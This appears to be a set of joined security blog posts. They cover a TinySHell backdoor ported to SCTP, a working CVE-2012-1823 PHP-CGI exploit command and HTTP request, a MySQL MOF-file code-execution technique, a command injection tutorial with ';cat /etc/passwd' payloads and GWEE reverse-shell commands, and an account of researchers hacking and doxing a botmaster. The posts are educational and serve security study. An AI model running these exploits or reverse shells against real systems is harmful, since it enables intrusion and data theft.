You may have seen, a while ago, my post on SCTP reverse shells.
I realized quite quickly that I should definately do some more research in this direction, and hence ported one of my favourite Unix backdoors (which uses a TCP connection) to use a SCTP connection instead. This backdoor allows for a remote PTY, file upload, and file download. It also is encrypted connection.
The backdoor in question is ‘TinySHell’ by the inestimable Christophe Devine (who left quite a legacy of code, which I may start to maintain as he appears to have vanished. Chris, if you are out there, get in touch or something! Love your work!). I spent a short while examining the code, then quickly patched it up to replace all the TCP stuff with SCTP stuff. I imagine I could easily alter it to do UDP, and might try that later.
Anyways, without further ado, here is the code. Again, all credit to Chris, all I did was modify it!
The CVE-2012-1823 PHP-CGI exploit was, quite possibly, one of the most groundbreaking exploits of 2012. In a year that brought us MS-12-020 (the most hyped bug in my recollection), multiple Java 0day exploits, and several MySQL exploits, the PHP-CGI bug still stands out as one of the most hilariously brilliant bugs to show up for several reasons. Primarily the massive misunderstanding of how it worked.
For this exploit to work, PHP had to be running in CGI mode. A fairly obscure configuration not seen all too often in the wild. Essentially, with this vulnerability, you could inject arguements into the PHP-CGI binary and make changes to php.ini directives, allowing for remote code execution.
Developing an exploit for this bug is trivial. In order to gain remote code execution, you tell PHP.ini that it is to allow URL inclusion ( allow_url_include = 1 ), and to automatically prepend the “file” php://input. This means whatever we send in the POST request is parsed as PHP, and executed.
One way to exploit this (targetting example.com), using the lwp-request’s “POST” utility, is as follows.
echo “<?php system(‘id’);die(); ?>” | POST “http://example.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input”
As you will see in the video, we can easily use this to execute commands remotely from a BASH shell.
The HTTP request sent, looks something similar to this:
POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Connection: TE, close
User-Agent: lwp-request/6.03 libwww-perl/6.04
<?php system(‘id’);die(); ?>
The response to that was the server sending back the result of our command (id), so we know it works.
So now we have a somewhat reliable “commandline” RCE method, however, we like to automate things… Let’s see how hard it is to write a reliable exploit in Python.
The following screenshot shows exploitation using Python.
Exploiting PHP-CGI bug with Python
So, we know now that using Python’s requests library (a mainstay of all my exploits, as I guess you noticed).
Now that we have reliable exploitation using Python, I decided to go a step further and write an actual exploit in Python to automate the whole thing. It simply drops you into a shell of sorts, giving you the ability to run commands as the web-user.
My previous post demonstrated the exploit @kingcope released, MySQLJackPot, that leveraged FILE privileges to take over a Windows MySQL server. That exploit worked by abusing the User Defined Function stuff.
This exploit goes a bit further, and is reliable on everything pre-Vista. It leverages the same technique used by Stuxnet’s MS-10-061 exploit, wherin arbritary file creation is turned into Remote Code Execution (under the context of the SYSTEM user) by dropping a binary and a .MOF file.
By using the INTO DUMPFILE method (assuming we have FILE privs on the remote server), we can create arbritary files with the permissions of the MySQL user, which just so happens to be NT AUTHORITY/SYSTEM.
So, we drop a binary (our payload) in System32 folder, and then drop a crafted .MOF file in System32\wbem\mof\. The Windows Task Scheduler (similar to CRON on Unix to my understanding) periodically scans this directory and executes any .MOF files in there. Our .MOF file executes our payload.
This is the same method that the MS-10-061 exploits use – by dropping a .MOF file in there along with a binary, the binary will be executed in short order, and et-viola: got shell.
Anyways, without further ado, here is the video of it in action. I ended up using the Metasploit module, as I did something nasty to my PERL installation while installing stuff from CPAN for another demo, and things started to “not work right”.
This is a short paper describing how to exploit basic command injection vulnerabilities in web applications. I am covering it as part of my attempt to cover the entire OWASP Top Ten series here, and hopefully you will find this paper informative.
So, what IS Command Injection?
Command injection is basically injection of operating system commands to be executed through a web-app. I had some trouble explaining it, so I will show the OWASP definition…
The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).
There is a variant of the Code Injection attack. The difference with code injection is that the attacker adds his own code to the existing code. In this way, the attacker extends the default functionality of the application without the necessity of executing system commands. Injected code is executed with the same privileges and environment as the application has.
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
So, what does all that mean?
Essentially, comman injection attacks can occur when a web application executes system commands – say – a webapp that runs nslookup queries for you. If the input that is passed tot he shell command is not correctly sanitized, an attacker can *inject* extra shell commands and have your application run them under the priviliges of the webapp – normally the privilages of the web-server.
Put simply, it means the attacker can execute commands on your box, leading to total system compromise. Yes, this is a very serious vulnerability.
Ok, so how does all this work?
I suppose the simplest way to explain is by a simple example. Below I wills how some example code, and how exactly we would go about exploiting it.
This piece of code accepts the GET parameter “host” and runs the nslookup command on it, giving you output regarding its IP address.
The important part is to see how the $host parameter (the GET parameter) is passed directly to the system() function without any filtering or sanitization of input.
Those of you familiar with the Unix command line will know we can “stack” commands by using a semicolon, like so…
nslookup google.com;cat /etc/passwd
Hence, you should realize that if we appended the semicolon followed by an arbritary OS command to the GET parameter, we will be able to execute our commands. Demo Time!
In this demo we simply run ls, and try read a couple of files. Then I decided to cat /dev/urandom (for fun) and had to end the demo as my drive started spinning like mad.
SO that is GET injection. You also said POST variables?
Indeed. Not only GET vars are vulnerable to this kind of attack, POST variables (for example, forms) are also vulnerable to these attacks.
Mutillidae has a fine example of POST command injection, so we will use that for the next demo. Basically the same deal – just a semicolon followed by your commands.
POST injection without visible forms…
Now sometimes we cannot see the POST var being sent, due to it being in a list. Please see the code below for an example…
Ok. So we have no DIRECT access to the POST param “host” via our browser, however we *know* it is vulnerable.
We know this as it passes the input from the POST var “host” directly to the system() function and therefore is vuln to the same attack methods as the GET injection we preformed earlier…
It is situations like these that we use BURP or a similar intercepting proxy to get a better look at whats going on. Simply we intercept our own traffic and we can modify it on the fly to see what is going on in there…
So… We can execute commands… What next?
Well, obviously the ability to execute commands is great, but we can take this a bit further. Getting a reverse shell, for example, would be awesome. And as it happens, we can do this.
There exists a tool called “GWEE”, which stands for “Generic Web Exploitation Engine”, written by some guys including our favourite narc, Sabu. It was released a couple of years ago, however it is an INCREDIBLY powerful tool and is VERY useful.
Now, GWEE operates by injecting reverse-shell shellcode and running it, giving one direct shell access. It has built in listener, etc.
GWEE usage: Owning a HTTP GET Injection
Ok. So we have our GET injection from earlier and want to get ourselves a reverse shell from it… We intend to use GWEE. Let’s run over what args to use…
The Command string we will be using…
gwee -G -y ‘?host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd1.php
So, what do all those mean?
The -G flag means “GET”, so we inject via GET request.
The -y ‘?host=;’ is the injectable parameter with the semicolon appended.
-l localhost means “Listener is localhost, send shell there”
-p 4445 means “Port to phone home to is port 4445″
-L means “use built in listener so I don’t have to start a netcat” (only for if you are listening on the same amchine as you are injecting from)
And the last thing there is the vulnerable URL…
Enough talking, ITS DEMO TIME
GWEE Usage: Owning a HTTP POST Injection
Now in this part we assume we know nothing about the app we are attacking except the vuln page, so it gives me an excuse to use Burp to find the vulnerable parameter to inject.
Now as for the GWEE injection commands, mostly the same except for 2 VITAL changes…
gwee -y ‘host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd2.php
Well, obviously the vuln URL is a bit different as it IS a different page we are attacking.
There is no -G flag. GWEE uses POST injections by default!
The -y ‘host=;’ arguements look the same at first glance, except the ? is gone. Why is this you ask? Because the ? is only there in GET injections and not in POST ones. This is just how POST/GET work, and if you had not known this you do now
Recently, a group of malware researchers, at Malware.lu – have seemingly taken the fight back against botnets another step.
Now, first off, let’s get my position on this straight for those watching me who are just waiting for me to break some kind of law or ethical barrier: While I wholeheartedly support these researchers actions, and believe that their approach to “dealing with botmasters” is the way forward, I will NOT be participating in it without cooperation of some sort from Law Enforcement, or legal permission to do so. The ice under my feet is too fucking thin to go popping C&C servers, though I wish I could.
The reason why we should take the fight back to the botnet masters is simple: They have the upper hand here. We do not. They can simply keep changing their C&C servers, keep doing DNS switcharoos, and keep spreading their malware, targeting innocent bystanders and making off with reams of personal data, while us researchers can do shag all except report to the authorities and pray to god they do something. It is not until someone like Microsoft gets involved that shit ACTUALLY gets done.
If the relevant authorities would issue “carte blanche”, or even a “carte gris” to take down botnets if the opportunity arises, the internet would be a far safer place. Until PROACTIVE measures are taken to make the cost of operating and owning these things too damn high for the amateurs, the smaller botnets will proliferate undetected for infinite time.
Anyways, on to the story.
So, the guys at malware.lu (I believe it was r00tBSD) got a sample in, of the HerpesNet botnet. I had been investigating Herpesnet for a while, after seeing it offered up as a “botnet as a service” type thing. You simply infect people, the botmaster/owner handles the C&C and backend server, along with writing the malware.
Fascinating system, and it is criminal economies like these that need to be stamped out. This particular sample was proliferating on Skript Kiddie forums predominantly, however, it is simply showing how *Fast* this kind of service offering has become common place.
Upon analysing the unpacked (non obfusticated) binary, and decrypting the few strings that were obscured, they were able to locate its C&C server.
They were also able to uncover what it sent to the server in HTTP POST requests, which seemingly, was sent in plaintext, and therefore offered them insights into what kind of data this thing was stealing, etc.
The researchers then decided to see could they perhaps use SQL injection attacks to own the command and control server, and in the end, they succeeded, gaining access to the administrator (botmasters) account on the C&C.
Taking things further, they actually uploaded a Meterpreter payload to the server and ran it, remotely hijacking the C&C. They took a screenshot of the C&C through the Meterpreter shell, and it LOOKS to me like it was the malware authors own box they had owned.
Pretty stupid, hosting a multi user botnet on your own box… But… Criminals are rarely the most intelligent it seems.
Now for the REALLY fun part: They then dumped the bots source code, etc. onto their box for more analysis, and subsequently the botmaster severed the box’s internet connection.
Not only this… They doxed the botmaster! Revealing his true identity for all to see (and for all to arrest…).
This kind of thing could be seen by some as vigilante justice, however, I see it as the future of the fight back against crimeware and online fraud. Even xylitol seems to get away with this, so my question to you all is as follows: What is the ethics/legality to this? CAN I legally start “assisting” LEO by dropping botnets and doxing their owners? I am FAIRLY sure I would be breaking anti-hacking laws, but, I also know the law pretty much requires me to do my duty as a citizen to PREVENT crime.
While I won’t be popping botnet C&C servers anytime soon, it is an interesting question to ask… And one I would love to know the answer to.